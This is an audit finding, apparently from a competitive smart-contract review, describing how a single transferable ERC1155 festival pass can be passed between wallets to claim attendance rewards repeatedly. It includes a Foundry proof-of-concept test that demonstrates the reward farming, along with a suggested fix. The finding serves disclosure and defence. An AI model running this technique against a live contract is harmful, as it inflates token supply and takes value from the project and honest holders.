Beatland Festival

First Flight #44
Beginner FriendlyFoundrySolidityNFT
100 EXP
View results
Submission Details
Severity: high
Valid

Multiple Attendees Can Farm Rewards Using a Single Transferable Pass

Multiple users can use the same pass in FestivalPass.sol::attendPerformance function

Description

  • Holders of a festival pass should be able to attend each performance once, earning BEAT tokens as a reward

  • Because passes are implemented as fungible ERC1155 tokens and transferable, an attacker can transfer the same pass to multiple addresses to repeatedly claim the reward for the same performance.
    The contract only checks if the current msg.sender holds any pass at that moment, it does not tie attendance to the actual pass NFT

function attendPerformance(uint256 performanceId) external {
require(isPerformanceActive(performanceId), "Performance is not active");
require(hasPass(msg.sender), "Must own a pass");
require(!hasAttended[performanceId][msg.sender], "Already attended this performance");
require(block.timestamp >= lastCheckIn[msg.sender] + COOLDOWN, "Cooldown period not met");
hasAttended[performanceId][msg.sender] = true;
// @> Only the address is marked as having attended, not the pass itself
lastCheckIn[msg.sender] = block.timestamp;
uint256 multiplier = getMultiplier(msg.sender);
BeatToken(beatToken).mint(msg.sender, performances[performanceId].baseReward * multiplier);
emit Attended(msg.sender, performanceId, performances[performanceId].baseReward * multiplier);
}

Risk

Likelihood:

  • Any user can easily pass the NFT to a second wallet during an active performance

  • There is no on-chain restriction preventing reuse

Impact:

  • Unlimited BEAT rewards can be farmed with a single pass.

  • Honest attendees are diluted as the BEAT supply inflates uncontrollably.

  • The festival’s entire reward economy is undermined, causing potential financial loss for the project.

Proof of Concept

  1. Organizer creates a performance

  2. Attacker buys a BACKSTAGE pass and attends performance, gets rewarded

  3. Attacker transfers the pass to a new user

  4. New user attends the performance without buying a pass and also gets rewards

Paste this code in your FestivalPassTest.sol file to confirm the proof

// Your code ...
// Add the variable
address public attacker = makeAddr("attacker");
// Your code ...
function setUp() public {
// Your code ...
// Update your `setUp` function by adding this
vm.deal(attacker, 1000 ether);
}
// Your code ...
function test_MultipleUsersUseOnePassForPerformance() public {
uint256 startTime = block.timestamp + 1 hours;
uint256 duration = 2 hours;
uint256 reward = 100e18;
// Organizer creates a performance
vm.startPrank(organizer);
vm.expectEmit(true, true, true, true);
emit PerformanceCreated(0, startTime, startTime + duration);
uint256 perfId = festivalPass.createPerformance(startTime, duration, reward);
assertEq(perfId, 0);
vm.stopPrank();
// now users can attend
vm.warp(startTime + 1 hours);
// Attacker buys a BACKSTAGE pass and attends performance
vm.startPrank(attacker);
// Attacker gets 15e18 BEAT for buying a BACKSTAGE pass
festivalPass.buyPass{value: BACKSTAGE_PRICE}(3);
// Attacker gets 3x of the reward for attending
festivalPass.attendPerformance(perfId);
// Attacker transfers the pass to user1
// This simulates the attacker trying to exploit the system by transferring the pass
// to another user after attending
festivalPass.safeTransferFrom(attacker, user1, 3, 1, "");
vm.stopPrank();
// User1 attends the performance without buying a pass
vm.startPrank(user1);
// User1 gets 3x of the reward for attending
festivalPass.attendPerformance(perfId);
// user1 also transfers the pass to user2
festivalPass.safeTransferFrom(user1, user2, 3, 1, "");
vm.stopPrank();
// User2 attends the performance without buying a pass
vm.startPrank(user2);
// User2 gets 3x of the reward for attending
festivalPass.attendPerformance(perfId);
vm.stopPrank();
uint256 expectedAttackerBeatBalance = (3 * reward) + 15e18;
uint256 expectedUsersBeatBalance = (3 * reward);
assertEq(beatToken.balanceOf(attacker), expectedAttackerBeatBalance);
assertEq(beatToken.balanceOf(user1), expectedUsersBeatBalance);
assertEq(beatToken.balanceOf(user2), expectedUsersBeatBalance);
}

Recommended Mitigation

- Use fungible ERC1155 passes for attendance
+ Switch to ERC721 so each pass has a unique tokenId
function attendPerformance(uint256 performanceId) external {
require(isPerformanceActive(performanceId), "Performance is not active");
require(hasPass(msg.sender), "Must own a pass");
require(!hasAttended[performanceId][msg.sender], "Already attended this performance");
require(block.timestamp >= lastCheckIn[msg.sender] + COOLDOWN, "Cooldown period not met");
hasAttended[performanceId][msg.sender] = true;
+ // Track hasAttended[performanceId][tokenId]
lastCheckIn[msg.sender] = block.timestamp;
uint256 multiplier = getMultiplier(msg.sender);
BeatToken(beatToken).mint(msg.sender, performances[performanceId].baseReward * multiplier);
emit Attended(msg.sender, performanceId, performances[performanceId].baseReward * multiplier);
}
Updates

Lead Judging Commences

inallhonesty Lead Judge 30 days ago
Submission Judgement Published
Validated
Assigned finding tags:

Unlimited beat farming by transferring passes to other addresses.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.